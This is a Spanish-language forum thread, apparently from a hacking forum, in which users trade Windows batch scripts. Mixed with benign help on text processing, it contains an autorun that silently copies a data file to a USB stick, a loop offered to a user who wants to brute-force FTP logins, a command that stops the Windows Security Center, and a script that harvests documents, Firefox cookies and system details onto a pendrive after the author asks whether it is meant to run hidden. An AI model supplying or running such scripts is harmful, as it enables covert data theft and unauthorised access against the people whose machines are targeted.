Mensajes

en realidad no creo que ningún autorun funcione si no configuras debidamente la reproducción autómática de los nuevos dispositivos que se conecten...

No soy un experto en autoruns... así que no se si habrá otra forma, pero creo que si lo pruebas te funcionará.



Lo que tienes que hacer es quitar el "Preguntar cada vez".

[Autorun.inf]

Hola.

El code que te pusieron arriba no es del todo efectivo, porque se copia en todas las unidades (Incluso la de origen), así que lo retoco un poco... y aqui te pongo este autorun a ver si te funciona

PD: Supongo que sabrás que el autorun.inf y el copy.bat deben ir en la ruta inicial del pendrive




Autorun.inf

Código [Seleccionar] Expandir

[autorun]
Open=Copy.bat
Shell\Open\Command=Copy.bat




Copy.bat:

Código (dos) [Seleccionar] Expandir

@Echo OFF
Copy /Y "C:\Datos.SQLite" "%~d0\" >Nul
Exit

Código (dos) [Seleccionar] Expandir


@Echo OFF
For /F "Tokens=*" %%_ in ('Type ".\lista.txt"') Do (set linea=%%_)
echo %linea%
pause
Exit

no me funciona

Lo puedes hacer todo desde el bucle, sin salirte, no hace falta crear ninguna variable "Linea" porque los datos de cada línea se guardan ya en la variable "%%_" xD

Pero entiendo que si estás empezando te será más fácil hacerlo así: 

Código (dos) [Seleccionar] Expandir

@Echo OFF
For /F "Tokens=*" %%_ in ('Type "Lista.txt"') Do (Set Linea=%%_ && Call :Connect)
Exit

:Connect
Echo aqui van los comandos del FTP  blablabla
Echo. Linea: %linea%
Pause
Goto :EOF


Sobre lo de la conexión FTP... sinceramente no uso ese comando para nada así que no se

un saludo

Necesito esto para Hacer Un Brute Force en FTP Tengo el Diccionario pero quiero que intente con cada linea de el diccionario...

Código (dos) [Seleccionar] Expandir

@Echo OFF
For /F "Tokens=*" %%_ in ('Type ".\Diccionario.txt"') Do (Echo %%_ & Pause)
Exit

Después del "Do" Cambias el "Echo" por el comando que vayas a usar... y listo.

Saludosss

[Display Name]

Quieres hacer funcionar un code basándote en el "Display Name" de los servicios (Y es una mala idea, más que nada porque es el doble de trabajo, y sería x6 de trabajo si lo tuvieras que ejecutar sobre 6 idiomas...).

La solución es que aprendas poco a poco, Y no hablo de Batch, sinó del funcionamiento de Windows.

Un servicio tiene el nombre a mostrar "DisplayName", y Por otro lado el Nombre real "Name" del servicio.



Así que para detener el servicio de centro de seguridad (En todos los idiomas) solo necesitas hacer esto:

Código [Seleccionar] Expandir

sc stop wscsvc

Pero bueno... Si insistes en hacerlo a tú modo, Con esto contesto a tu pregunta:

Código [Seleccionar] Expandir

WMIC service GET displayname /ALL
y

Código [Seleccionar] Expandir

WMIC service GET name /ALL


Saludos.

[Daniwxp11]

Había escrito un mensaje aqui con un code bastante largo y se ha borrado por arte de magia...
(Problemas del foro?)

Por suerte aún guardaba una copia del script. :/



Bueno Daniwxp11 lo que te dije en mi post borrado:

Se me olvidó preguntarte si el batch es para intenciones maliciosas.. .osea, si lo quieres ejecutar oculto. Y si el pendrive se debe detectar automáticamente o te da igual introducirlo manualmente.

Bueno, si necesitas algún cambio, Avisa.

PD: No tengo el MSN de microsoft instalado así que no puedo hacer esa parte del code porque no conozco las rutas de los registros del Msn y/o MSN Plus, pero puedes intentar hacerlo tú mismo de la misma manera que copio las cookies de firefox.

Saludos

Código [Seleccionar] Expandir

@echo off

Rem By EleKtro H@cker
Rem Visita Foro.ElHacker.Net

Title Proyecto 1
Mode con cols=58 lines=30
Color 7


:Select
:::::

PUSHD "%WINDIR%\System32\"

Echo+
Echo  Unidades disponibles
Echo  ====================
Echo.
For /F "tokens=2-9 Delims=\ " %%a in ('fsutil fsinfo drives') do (
If "%%a" EQU "" (<Nul Set /P= ) ELSE (fsutil fsinfo drivetype %%a)
If "%%b" EQU "" (<Nul Set /P= ) ELSE (fsutil fsinfo drivetype %%b)
If "%%c" EQU "" (<Nul Set /P= ) ELSE (fsutil fsinfo drivetype %%c)
If "%%d" EQU "" (<Nul Set /P= ) ELSE (fsutil fsinfo drivetype %%d)
If "%%e" EQU "" (<Nul Set /P= ) ELSE (fsutil fsinfo drivetype %%e)
If "%%f" EQU "" (<Nul Set /P= ) ELSE (fsutil fsinfo drivetype %%f)
If "%%g" EQU "" (<Nul Set /P= ) ELSE (fsutil fsinfo drivetype %%g)
)

Echo.
Echo  elige la letra de la unidad de destino.    (Ejemplo: C)
Echo.
set /p DEST=^>^>

If Not defined DEST (
CLS
Goto :Select
) ELSE (
Set DEST=%DEST:~0,1%
Set DEST=%DEST%:
)

If not exist "%Dest%" (
Echo+
Echo   "%DEST%"  Unidad no valida...
Ping -n 3 LocalHost >nul
Set Dest=
Cls
Goto :Select)


:Start
::::::

Cls
Echo+
Echo  %ComputerName% (%username%)
Echo.
Echo  Origen:  %Homedrive%
Echo  Destino: %Dest%
Echo.
Echo ==========================================================

Echo  Copiando Mis documentos...
call :Copy %userprofile%\Documents

Echo.
Echo  Copiando Mi m£sica...
call :Copy %userprofile%\Music

Echo.
Echo  Copiando Escritorio...
call :Copy %userprofile%\Desktop

Echo.
Echo  Copiando Fondo de escritorio...
call :Copy %appdata%\Microsoft\Windows\Themes

Echo.
Echo  Copiando Cookies Firefox...
For /F "tokens=*" %%_ in ('Dir /B "%appdata%\Mozilla\Firefox\Profiles"') do (
MKdir "%DEST%\%ComputerName%\%appdata::=%\Mozilla\Firefox\Profiles\%%_\"  >nul 2>&1
Copy /Y "%appdata%\Mozilla\Firefox\Profiles\%%_\Cookies.sq*" "%DEST%\%ComputerName%\%appdata::=%\Mozilla\Firefox\Profiles\%%_\" >nul 2>&1)

Echo.
Echo  Copiando Conversaciones MSN...
Echo  ... Mentira xD

Echo.
Echo  Extrayendo Informacion del PC...
Systeminfo > "%DEST%\%ComputerName%\Info PC.txt"

Echo.
Echo  Extrayendo Programas instalados...
Echo :Programas instalados: > "%DEST%\%ComputerName%\Programas instalados.txt"
Echo ====================== >>"%DEST%\%ComputerName%\Programas instalados.txt"
CALL :Reg HKLM
CALL :Reg HKCU



Goto :Fin



:SubRutinas:
::::::::::::

:Copy
Set "PATH=%*"
Set "PATH=%PATH::=%"
Xcopy /E /Y "%*" "%DEST%\%ComputerName%\%PATH%\" >nul 2>&1
Goto :EOF

:REG
Setlocal EnableDelayedexpansion
For /F "tokens=*" %%_ in ('Reg query "%1\SOFTWARE\Microsoft\Windows\CurrentVersion\Uninstall"') Do (
Set KeyName=%%_
Set KeyName=!KeyName:~71!

For /F "tokens=* Skip=2 delims=_" %%a in ('Reg query "%1\SOFTWARE\Microsoft\Windows\CurrentVersion\Uninstall\!KeyName!" /V "DisplayName" 2^>nul') Do (
Set Name=%%a
Set Name=!Name:~29!
Echo !NAME!>>"%DEST%\%ComputerName%\Programas instalados.txt"
)
)
Sort "%DEST%\%ComputerName%\Programas instalados.txt" /O "%DEST%\%ComputerName%\Programas instalados.txt"
Setlocal DisableDelayedexpansion
Goto :EOF



:Fin
::::
Echo.
Echo.
Echo.
Echo  Informaci¢n guardada!! :)
Ping -n 5 LocalHost >nul
Exit


 

cmd.exe sigue escondiendo algunas peculiaridades:

Código (bash) [Seleccionar] Expandir


set newline=^& echo.


Increible, vaya "truco"! Todo un maestro, esto me lo apunto xDDDDD

[Leo]

EDITO: Vale acabo de ver el code de Leo xD Genial ese funciona.

Hola, sabes lo probé y funciona bien pero me surge el siguiente problema:

si los números son:

Código [Seleccionar] Expandir

1
1
2
3
2
4

solo borra 1, el 2 no es borrado, creo que solo compara con la línea que está abajo

Pues vaya :/ Entonces no funciona demasiado bien...



Ayer probé a intentar hacer un script para ti, Conseguí con un FOR almacenar en una variable los strings repetidos y en otra sin los repetidos, de esta forma:

Código [Seleccionar] Expandir

Words=;1;2;3;4;5;6
Repeated=;1;4

Pero me bloqueé en como hacer otro for para borrar los strings repetidos, de la variable "words" (Es lo que tu quieres xD) (Sin usar SED.exe), y también en como pasar toda esa cadena reemplazando el signo ; por saltos de linea para que el nuevo archivo de texto quede escrito de arriba a abajo así...

Código [Seleccionar] Expandir

2
3
5
6

...Así que dejé de hacerlo XDDD  


Aqui dejo el code por si alguien se anima a acabarlo o le puedes sacar algún uso :/...

Saludos

Código (dos) [Seleccionar] Expandir

@echo off
Set File=Test.txt

For /F "tokens=*" %%_ in ('Type "%File%"') do (Call :Repeat %%_)

Echo Palabras:  %Words%
Echo Repetidas: %repeated%
Pause

:Repeat
Echo "%Words%" | Find "%*" >nul
If %ErrorLevel% Equ 0 (Set Repeated=%Repeated%;%*) ELSE (Set Words=%Words%;%*)
Goto :EOF

hmmm...

Es que el output del ATTRIB usa avances de línea :/, No se si se puede guardar los saltos de línea en una variable, nunca he visto a nadie hacerlo, lo he intentado usando More para expandir los saltos de linea en la variable pero nada, tú problema me queda un poco grande la verdad...

Pero bueno, te propongo una alternativa que funciona:

Código (DOS) [Seleccionar] Expandir

@echo off
Set "Variable=%temp%\attrib.txt"
ATTRIB "%SystemDrive%\Users\%USERNAME%\Desktop\*" > "%Variable%"
type "%variable%"
pause >nul
Exit

Saludos

Hola a tod@s, me gustaria que me ayudasen a crear un script vbs para copiar datos de una carpeta  a mi pendriver quero copiar
ayudadme porfavor, es mi primera vez en programacion y lo necesito rapido......

¿Alguna razón en especial por que lo quieres en VBS?
Si quieres te lo puedo hacer en Batch...

Pero sea como sea, Di en que versión de Windows quieres ejecutar el script (y si es x86 o x64), que aqui no somos magos.

Saludos